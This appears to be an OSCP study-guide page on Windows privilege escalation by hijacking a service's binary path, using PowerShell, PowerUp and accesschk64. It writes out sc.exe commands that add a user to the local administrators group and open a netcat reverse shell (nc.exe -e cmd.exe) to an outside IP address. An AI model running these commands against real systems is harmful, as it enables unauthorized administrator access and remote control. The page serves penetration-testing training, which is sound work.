> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/windows-privilege-escalation/service-permissions/binary-paths.md). # Binary Paths ## Overview Services sometimes have executables attached to them. If we have the right permissions to the service then we can change the **binary path** (executable file) to a malicious one. ## Exploitation via Powershell View services ``` Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} ``` View permissions ``` icacls "C:\xampp\apache\bin\mysqld.exe" ```

Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

Replace service binary with malicious one then restart service ``` Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'} net stop mysql net start mysql shutdown /r /t 0 ``` ## Exploitation using PowerUp #### Run PowerUp on machine ```powerquery . .\PowerUp.ps1 Invoke-AllChecks ```

#### Change the binary path ```powerquery sc.exe config daclsvc binpath= "net localgroup administrators Greg /add" sc.exe config daclsvc binpath= "C:\temp\nc.exe -e cmd.exe 10.10.14.8 1337" ``` #### Start service ```powerquery sc.exe start dacl ``` ## Exploitation via Accesschk64 #### Check for services with write permissions ``` accesschk64.exe --accept-eula -uwcv Everyone * ```

``` accesschk64.exe -uwcv daclsvc ```

#### Query the service ```powerquery sc qc daclsvc ```

#### Changing the binary path is the same as the last method